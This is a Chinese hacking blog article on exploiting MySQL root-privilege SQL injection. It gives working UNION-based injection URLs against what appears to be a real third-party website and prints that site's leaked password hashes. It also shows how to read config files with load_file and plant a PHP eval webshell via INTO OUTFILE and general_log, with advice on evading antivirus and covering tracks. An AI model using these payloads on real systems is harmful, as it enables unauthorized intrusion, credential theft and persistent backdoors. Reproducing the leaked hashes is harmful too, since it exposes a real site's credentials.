前言须知
虽说是 root 权限,但这并不意味着,你就可以在目标系统中为所欲为,假如目标的 root 被降了权,或者你想写 shell 的目标网站目录都不可写,这时,即使你是 root 权限,能干的事儿也一样非常的有限,当我们在实战中遇到一个 mysql root 权限的注入点时,想干或者暂时能干的事情无非就下面这些,接下来,会针对每种方法做详细演示
查出目标数据库root的密码然后尝试外连,前提是得目标允许root用户远程连才行 [grant允许]
尝试读取目标网站目录中的各类敏感密码文件,搜集各种账号密码再配合别的漏洞进去
尝试直接往目标网站目录中写webshell,如果当前数据库用户对目标网站目录不可写?[权限被控住了]
udf 提权,如果目标的 mysql 服务是以一个系统伪用户权限起来的[通常都是这样],提权效果自然也就没了
首先,先说最简单的,查出目标数据库的root密码然后尝试外连,本地用于实例演示的root权限注入点如下
http://charade.futami.co.jp/topix/detail.php?tid=264
先确定是否真的存在注入,条件为真时页面返回正常
http://charade.futami.co.jp/topix/detail.php?tid=264 and 112=112 -- -
条件为假时页面返回异常,说明注入存在
http://charade.futami.co.jp/topix/detail.php?tid=264 and 112=1112 -- -
曝出当前表的字段总个数,这次我们就不用order by了, 因为有时候,可能order by 不太好使,大家可以用null来代替遍历,从下面我们发现,当字段个数为6时页面返回异常
http://charade.futami.co.jp/topix/detail.php?tid=264+UNION+ALL+SELECT+null,null,null,null,null,null --+-
当字段个数为5时,页面正常返回,此时,说明当前表的字段个数总共为5个,有了准确的字段个数,直接曝数据即可
http://charade.futami.co.jp/topix/detail.php?tid=264+UNION+ALL+SELECT+null,null,null,null,null --+-
知道了字段个数还不够,我们还需要知道准确的数据显示位,其实也很简单,逐个位的遍历就好了
http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,'k','l',null,null --+-
搜集数据库信息,查权限,查版本[在前面我们已经说过,5.5.x和5.6.x的系统用户表的密码字段名是不一样的]
http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,user(),version(),null,null --+-
我们发现当前数据库用户为root,版本是5.1.x 既然是root那就简单了,由于库名,表名,字段名都是已知的,直接查数据即可,很快我们就直接拿到了目标的root密码hash,很遗憾的是,目标的数据库端口并没有对外开放,而且hash暂时还没解出来,所以就不能连上去给大家看实际效果了,实在抱歉
http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,concat_ws(' | ',User,Password),'l',null,null from mysql.user limit 0,1 --+-
最终,等到数据库用户级密码hash如下:
piwik_user *A90E9645441C1748C7FC28054F71B40C81C7C3BA
root *811B86916C32F73EBB956D1A1F32A5A0E801FC5B
直接查 root 密码的说完了,现在我们再来介绍第二种方法,读取目标网站的各类敏感配置文件,因为上面那个站,懒得去曝它网站的物理路径[关键大家真正理解就行,思路更重要],然后就寻思着,要不再找一个实例站点来演示,不过 root 权限的实在是不太好找,找了很久都没有找到针对性的站,所以读取文件,我们这里暂时就先用本地环境[pentestlab]来演示了,之前的那些流程我就不废话了,直接来看重点吧
在mysql中一般我们都会用load_file来读取文件,注意,这里读取文件所继承的权限是数据库服务用户的权限,并非web用户的权限,因为你脚本的sql语句最终是在数据库中执行的,也就是说,如果数据库服务用户对你想读的文件所在的目录没有读权限,也一样是读不出来的,不过一般情况下都可以读出来,因为读一般都不会被控住,这里的文件路径,记得顺手hex下,主要是为了避免单引号引起sql语句出错,下面的hex数据对应的明文其实是‘/var/www/classes/db.php‘
http://192.168.1.132/cat.php?id=-1+UNION+ALL+SELECT+1,load_file(0x2f7661722f7777772f636c61737365732f64622e706870),3,4 -- -
这样就可以直接把目标的数据库账号密码给读出来了,当然啦,实战中,只要能读到账号密码的地方你都可以尝试去读,即使目标数据库不允许外连,也把这个账号密码先搜集过来再说
说完读,我们再来说写的问题,像这种情况一般都是在你已经拿到目标的网站物理路径[至于怎么曝出目标的物理路径,可以去我的博客里找找,里面有一篇里面详细提到了这个,话说回来,如果页面的错误处理非常的到位,基本是不可能曝出来的],而注入点恰巧又是root权限,这时你就可以直接尝试往目标的网站目录里面写webshell,但还是有个前提,你当前执行sql写的系统用户身份[一般都是web]对那个目录一定要有写权限才行,如果目录权限是root属主,root属组,目录是755这么一个权限,那也基本是写不进去的,从下面我们看到,典型的权限不够
http://192.168.1.132/cat.php?id=-1+UNION+ALL+SELECT+1,0x3c3f70687020406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4 into outfile '/var/www/webshell.php'-- -
不信,我们可以去服务器上看看文件是不是存在,里面是不是有我们刚刚写进去的一句话
尝试访问 shell,正常执行,altman 也正常连上
最后,我们再回过头来仔细观察下这个 webshell 的权限,mysql 属主,属组,这也正好印证了我之前所说的,因为你的 sql 语句最终是在数据库中执行的,所以,它映射的权限自然也是数据服务用户的权限,能不能做你想做的操作关键还要看这个用户在系统中所映射的权限到底有多大
在上半部分,我们详细说明了 mysql 在 root 权限下如何读写文件,开启外连,这次我们就来简单说明如何通过 mysql 的 log 功能写 shell 以及如何利用 udf 执行系统命令
日志写,利用核心
利用 mysql 的 general log 功能来写 shell,其实,核心很简单,当你把这个开关开启以后,它自动把所有执行过的 sql 语句都记录到一个指定的文件里去,具体怎么利用呢,其实也很简单,由于 mysql 的 root 权限是可以随意修改 mysql 内部配置,也就是说我完全可以把原来默认的日志文件位置给替换掉,然后重新指向到目标网站目录中,这样我再随便去 select 个一句话,这个一句话自然也就直接进到你 set 的那个目标网站目录里的日志文件了,另外,这儿还有一个很重要的前提,就是你在数据库中 set 到的那个目录,对你当前数据库服务用户一定要是可写的,不然同样写不进去,具体操作,如下
1 2 3 4 5 6 7 | mysql> show variables like ‘%general%’; mysql> set global general_log = on; mysql> set global general_log_file = ‘/var/www/loveshell.php’; mysql> select ‘<?php @eval($_POST[klion])?>’; $ sudo cat /var/www/loveshell.php mysql> set global general_log_file = ‘/var/run/mysqld/mysqld.log’; mysql> set global general_log = off; |
上来先看下目标数据库默认的日志存放路径在哪儿,顺手记录下来,等会儿干完活儿还要恢复回来
开启 mysql log 功能,把 log 文件指向到目标的网站目录中,你自己实战时,可能会发现通常都是 set 不进去的,其实原因很明显,大多数都由于当前的 mysql 服务用户对网站目录没有写权限,具体效果如下,说到这里,相比大家也应该很清楚了,其实你要想把这种方法利用成功,可能需要目标 web 服务本身有很高的系统权限,比如,像 appserv 之类的集成环境,在 windows 中默认就是 system 权限,很容易就拿到 shell 了,如果就是个数据库服务用户权限,而且这个用户对网站目录还不能写,那基本也是很难利用上的
为了继续我们的演示效果,这里我就先手动把网站目录给下其它人可写的权限
这时候我们再次尝试set,就可以顺利set进去了,这时直接select个一句话,实际中最好select个免杀一句话
然后再到我们刚刚 set 的日志文件中,看看我们的一句话到底有没有被记录,从下图可知,我们的一句话已经被正常记录了日志文件中
尝试访问我们的一句话,看到下面的返回就则说明我们的一句话已经被正常执行,实际中可能并不会这么轻松,如果目标访问量比较大,短时间 log 文件可能会比较大,在用菜刀或者别的连一句话的时候不免会有些卡
最后,一定要记得把我们刚刚修改的配置再顺手恢复回来,活儿一定要干净,实际渗透中,最好养成这样的习惯,不然,辛苦弄到的权限也许就因为自己的粗心掉了,岂不尴尬
你可能喜欢
SQLServer注入技巧
绕过WAF继续SQL注入常用方法
SQL注入access数据库【一】
来源:lsh4ck's Blog,转自:黑白之道
一篇文章由浅入深了解MSSQL注入
mysql密码忘记了怎么办
https://jingyan.baidu.com/article/870c6fc3244d96b03fe4bec3.html